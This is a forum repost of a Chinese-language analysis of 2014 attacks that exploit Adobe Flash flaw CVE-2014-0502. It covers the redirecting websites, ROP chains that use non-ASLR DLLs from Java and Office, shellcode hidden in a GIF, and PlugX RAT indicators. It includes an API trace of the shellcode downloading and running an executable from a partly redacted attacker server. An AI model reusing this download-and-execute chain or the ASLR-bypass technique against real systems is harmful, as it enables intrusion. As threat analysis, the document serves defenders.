搜索

[7830] 2014-02-28_对利用Adobe0day–CVE-2014-0502进行攻击的行为分析

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-17
2014-02-28_对利用Adobe0day–CVE-2014-0502进行攻击的行为分析 对 利 用 A d o b e   0 d a y   –   C V E - 2 0 1 4 - 0 5 0 2 进 行 攻 击 的 行 为 分 析 F r e e B u f   2 0 1 4 - 0 2 - 2 8 前 些 天 F i r e E y e 发 布 了 一 个 利 用 A d o b e F l a s h 的 新 0 d a y 进 行 攻 击 的 报 告 ， 且 A d o b e 已 经 根 据 漏 洞 情 况 发 布 了 一 个 安 全 更 新 。 根 据 F i r e E y e 的 报 告 ， 许 多 网 站 会 将 访 问 者 重 定 向 到 以 下 包 含 e x p l o i t 的 恶 意 服 务 器 ： P e t e r s o n   I n s t i t u t e   f o r   I n t e r n a t i o n a l E c o n o m i c s A m e r i c a n   R e s e a r c h   C e n t e r   i n   E g y p t S m i t h   R i c h a r d s o n   F o u n d a t i o n 恶 意 F l a s h 文 件 位 于 h t t p : / / 4 . 5 9 . X X X . X X / c o m m o n / c c . s w f 该 F l a s h 包 含 一 些 有 趣 的 d e b u g   s y m b o l s ： C : U s e r s 0 7 D e s k t o p F l a s h E x p ( i e ) s r c c c . a s F l a s h 文 件 中 的 A c t i o n S c r i p t 代 码 用 来 确 定 操 作 系 统 版 本 以 及 选 择 硬 编 码 的 R O P   c h a i n s 来 绕 过 A S L R 。 如 果 是 W i n d o w s   X P 系 统 ， 代 码 会 先 检 查 系 统 语 言 ， 对 于 以 下 两 种 语 言 的 系 统 ， 则 只 包 含 R O P   c h a i n s ： 英 文 中 文 在 这 种 情 况 下 （ W i n d o w s   X P 系 统 ） ， R O P   c h a i n 使 用 一 种 众 所 周 知 的 技 术 从 m s v c r t . d l l 中 提 取 编 译 。
如 果 系 统 运 行 的 是 W i n d o w s   7 ：   -   检 查 系 统 是 否 安 装 了 J a v a   1 . 6 或 J a v a   1 . 7 。   -   如 果 安 装 了 J a v a 1 . 6 ， 代 码 使 用 J a v a   1 . 6 中 自 带 的 m s v c r 7 1 . d l l 中 的 R O P   c h a i n ， 该 d l l 文 件 没 有 A S L R 保 护 。     -   检 查 系 统 是 否 安 装 了 M i c r o s o f t   O f f i c e   2 0 0 7 或 2 0 1 0   -   如 果 安 装 了 ， 则 使 用 M i c r o s o f t   O f f i c e   2 0 0 7 / 2 0 1 0 中 自 带 的 h x d l . d l l 中 的 R O P   c h a i n ， 该 d l l 没 有 A S L R 保 护 。 要 加 载 h x d s . d l l ， 需 要 使 用 一 种 在 这 种 类 型 的 e x p l o i t s 中 很 常 见 的 协 议 处 理 器 l o c a t i o n . h r e f   =   ' m s - h e l p : ' A c t i o n S c r i p t 代 码 同 时 负 责 下 载 一 个 G I F 文 件 ： 下 载 的 文 件 如 下 图 所 示 ， 看 起 来 是 个 正 常 的 图 片 ：
但 该 图 片 在 位 于 偏 移 3 3 4 4 的 地 方 包 含 一 个 s h e l l c o d e ， 该 s h e l l c o d e 会 从 同 一 服 务 器 下 载 并 执 行 一 个 P E 3 2 文 件 ： 利 用 图 片 执 行 s h e l l c o d e 是 一 个 聪 明 的 做 法 ， 因 为 这 样 可 以 绕 过 很 多 网 络 安 全 产 品 的 监 控 。 该 s h e l l c o d e 通 过 利 用 以 下 函 数 来 下 载 并 执 行 P E 3 2 文 件 ：         L o a d L i b r a r y A ( w i n i n e t )         L o a d L i b r a r y A ( u s e r 3 2 )         V i r t u a l P r o t e c t ( a d r = 4 0 4 b f 1 ,   s z = 4 , f l a g s = 4 0 )         S e t U n h a n d l e d E x c e p t i o n F i l t e r ( 0 )         V i r t u a l P r o t e c t ( a d r = 7 c 8 1 c d d a ,   s z = 8 2 , f l a g s = 4 0 )         V i r t u a l P r o t e c t ( a d r = 7 c 8 1 c d d a ,   s z = 8 2 , f l a g s = 0 )         S e t U n h a n d l e d E x c e p t i o n F i l t e r ( 7 c 8 1 c d d a )         G e t T e m p P a t h ( l e n = 1 0 4 ,   b u f = 1 2 f c a 4 )   =   1 4       G e t T e m p F i l e N a m e ( p a t h = C : u s e r s j a i m e T e m p ,   p r e f i x = 0 ,   u n i q u e = 0 , b u f = 1 2 f c a 4 )   =   2 4 5 D           P a t h   =   C : u s e r s j a i m e T e m p 2 4 5 d . t m p         I n t e r n e t O p e n A ( )       I n t e r n e t O p e n U r l A ( h t t p : / / 4 . 5 9 . X X . X X / c o m m o n / u p d a t e . e x e )       C r e a t e F i l e A ( C : u s e r s j a i m e T e m p 2 4 5 d . t m p )   =   4         I n t e r n e t R e a d F i l e ( 1 ,   b u f :   1 2 f b e 8 ,   s i z e : 6 4 )         I n t e r n e t C l o s e H a n d l e ( 1 )   =   1         I n t e r n e t C l o s e H a n d l e ( 1 )   =   1         C l o s e H a n d l e ( 4 )
本 次 攻 击 中 所 用 的 p a y l o a d 是 一 个 不 怎 么 出 名 的 远 控 程 序 P l u g X   R A T ， 我 之 前 的 博 客 中 提 到 过 它 几 次 ： T r a c k i n g   d o w n   t h e   a u t h o r   o f   t h e   P l u g X   R A T   T h e   c o n n e c t i o n   b e t w e e n   t h e   P l u g x   C h i n e s e   g a n g   a n d   t h e   l a t e s t I n t e r n e t   E x p l o r e r   Z e r o d a y N e w   v e r s i o n s   o f   t h e   I E x p l o r e r   Z e r o D a y   e m e r g e   t a r g e t i n g   D e f e n c e   a n d I n d u s t r i a l   c o m p a n i e s 恶 意 程 序 会 将 它 自 己 拷 贝 到 A l l U s e r s D R M R a s T l s R a s T l s . e x e ， 并 在 执 行 过 程 中 创 建 以 下 互 斥 文 件 ： B a s e N a m e d O b j e c t s G l o b a l d k l w B a s e N a m e d O b j e c t s G l o b a l c s o B a s e N a m e d O b j e c t s G l o b a l q e m y q v m y h i y B a s e N a m e d O b j e c t s G l o b a l e r i w j j o B a s e N a m e d O b j e c t s G l o b a l e t n i i s e b e h h e q B a s e N a m e d O b j e c t s G l o b a l b e e t x a d o B a s e N a m e d O b j e c t s G l o b a l z h y z r j d u o s f p t u n f B a s e N a m e d O b j e c t s G l o b a l z z u s n n z e q g z u p e t o B a s e N a m e d O b j e c t s G l o b a l o n w m k w a z r y n p n B a s e N a m e d O b j e c t s G l o b a l n m t g B a s e N a m e d O b j e c t s G l o b a l h e l b i b k z h r u o B a s e N a m e d O b j e c t s G l o b a l o p y l r v f l p l g a d B a s e N a m e d O b j e c t s G l o b a l z g j a w r o j c h c f a v n h B a s e N a m e d O b j e c t s G l o b a l g m d B a s e N a m e d O b j e c t s G l o b a l s v d w r B a s e N a m e d O b j e c t s G l o b a l u n b d e h r r x g q u j y a z j B a s e N a m e d O b j e c t s G l o b a l q p l B a s e N a m e d O b j e c t s G l o b a l i h n w g u w c e o f k h c v B a s e N a m e d O b j e c t s G l o b a l k v x i e o c B a s e N a m e d O b j e c t s M y _ N a m e _ h o r s e ( S v c h o s t ) 同 时 将 自 身 注 入 到 s v c h o s t 进 程 中 。 P l u g X 包 含 三 种 不 同 的 命 令 和 控 制 方 式 ： 0 0 9 0 3 4 7 4   - >   j a v a [ . ] n s 1 [ . ] n a m e 0 0 9 0 3 4 B 8   - >   a d s e r v i c e [ . [ n o - i p [ . ] o r g 0 0 9 0 3 4 F C   - >   w m i [ . ] n s 0 1 [ . ] u s 并 通 过 H T T P 与 C & C 交 互 ： 注 意 下 图 中 指 定 的 C & C 域 名 是 恶 意 构 造 的 ：
至 此 ， 不 用 我 提 醒 你 也 会 尽 快 更 新 A d o b e 和 包 含 漏 洞 、 可 以 被 用 来 绕 过 A S L R 的 J a v a 和 O f f i c e 版 本 了 吧 。 祝 玩 得 愉 快 ！ 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理